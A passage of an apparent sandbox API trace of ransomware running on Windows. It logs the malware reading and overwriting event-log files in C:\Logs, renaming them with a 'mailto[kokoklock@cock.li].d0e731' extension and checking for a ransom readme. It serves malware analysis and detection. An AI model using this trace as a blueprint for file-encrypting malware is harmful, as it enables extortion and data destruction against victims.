0xc8fc95c9 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xb26e1cc9 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xfc2c9aae [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x6daa156d [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xbc73a059 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x99aaeeee [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xc60d2e29 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xf44255f1 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x68f6c18a [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x4f02f069 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x697dd683 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x7237d156 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x9ca92e03 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x777d1f97 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x8387603e [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x28cae258 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xb435f095 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x3ce3b93c [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xe318257f [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x4647edc1 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0xdee68184 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x7f15c977 [0164.311] RtlRandom (in: Seed=0x656fcec | out: Seed=0x656fcec) returned 0x72d227f0 [0164.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a950 [0164.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.321] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.321] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.323] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a860 [0164.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.323] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.323] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.324] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.324] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.324] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.325] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0164.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0164.326] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.326] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.326] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.327] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0164.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0164.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9a0 [0164.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a9a0) returned 1 [0164.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0164.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0164.328] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x656fca0, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x656fca0*=0x4096, lpOverlapped=0x0) returned 1 [0164.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.328] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a860*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x656fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a860*, lpNumberOfBytesWritten=0x656fcfc*=0x20, lpOverlapped=0x0) returned 1 [0164.328] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x656fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x656fcfc*=0x20, lpOverlapped=0x0) returned 1 [0164.328] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x656fcfc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6a8*, lpNumberOfBytesWritten=0x656fcfc*=0x20, lpOverlapped=0x0) returned 1 [0164.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.328] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x2f8a608*, lpNumberOfBytesWritten=0x656fd04*=0x8, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x4a0, lpBuffer=0x656fd1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x656fd1c*, lpNumberOfBytesWritten=0x656fd04*=0x4, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x656fd04*=0x4, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x656fd04*=0x6c, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x656fd04*=0x20, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x656fd04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x656fd04*=0x4, lpOverlapped=0x0) returned 1 [0164.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a950) returned 1 [0164.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a608) returned 1 [0164.329] CloseHandle (hObject=0x4a0) returned 1 [0164.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84918 [0164.329] wcscpy (in: _Dest=0x2f84918, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.329] wcscat (in: _Dest=0x2f84918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.330] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.330] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84918) returned 1 [0164.331] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.331] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.331] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.331] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962e0) returned 1 [0164.331] RtlExitUserThread (Status=0x1) Thread: id = 1516 os_tid = 0xe8c [0164.332] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.332] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.332] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.332] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x65efdb8 | out: lpFileSize=0x65efdb8*=69824) returned 1 [0164.333] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.333] ReadFile (in: hFile=0x4a0, lpBuffer=0x65efd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x65efd8c*, lpNumberOfBytesRead=0x65efd88*=0x4, lpOverlapped=0x0) returned 1 [0164.333] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a950 [0164.334] NtQuerySystemTime (in: CurrentTime=0x65efd64 | out: CurrentTime=0x65efd64*=132121213216466052) returned 0x0 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xd69790df [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x76119c6c [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x5423cfbb [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x3dba060a [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x4cb93b29 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x3ac953c6 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xe7c88d86 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x7331ac7 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xf3210a21 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xe2839fb6 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xe88f2094 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x65513306 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xff4942da [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xe7a9acfe [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x187940bb [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x7c0393cf [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xab559e70 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x6b75da54 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x983d9d41 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x44ee640d [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xbbb2ff5 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x16a6c4f [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xb30729b8 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xe582702b [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x4d81c771 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x9e72872f [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xbc7c99fc [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x5bf9fd8 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x7cfae80c [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x9a90b73b [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0xd82c183 [0164.334] RtlRandom (in: Seed=0x65efd70 | out: Seed=0x65efd70) returned 0x1ba9eded [0164.343] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a978 [0164.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.344] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.344] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.345] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.345] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.345] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x65efd3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x65efd3c*=0x4096, lpOverlapped=0x0) returned 1 [0164.346] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.346] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x65efd3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x65efd3c*=0x4096, lpOverlapped=0x0) returned 1 [0164.347] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.347] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65efd74, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x65efd74*=0x20, lpOverlapped=0x0) returned 1 [0164.347] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.347] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x2f8a608*, lpNumberOfBytesWritten=0x65efd88*=0x8, lpOverlapped=0x0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x65efda0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x65efda0*, lpNumberOfBytesWritten=0x65efd88*=0x4, lpOverlapped=0x0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x65efd88*=0x4, lpOverlapped=0x0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x65efd88*=0x6c, lpOverlapped=0x0) returned 1 [0164.347] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x65efd88*=0x20, lpOverlapped=0x0) returned 1 [0164.348] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65efd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x65efd88*=0x4, lpOverlapped=0x0) returned 1 [0164.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a978) returned 1 [0164.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a608) returned 1 [0164.348] CloseHandle (hObject=0x4a0) returned 1 [0164.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfa) returned 0x2f6ab60 [0164.348] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.348] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.348] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.349] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.349] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.349] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.349] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.349] GetFileAttributesW 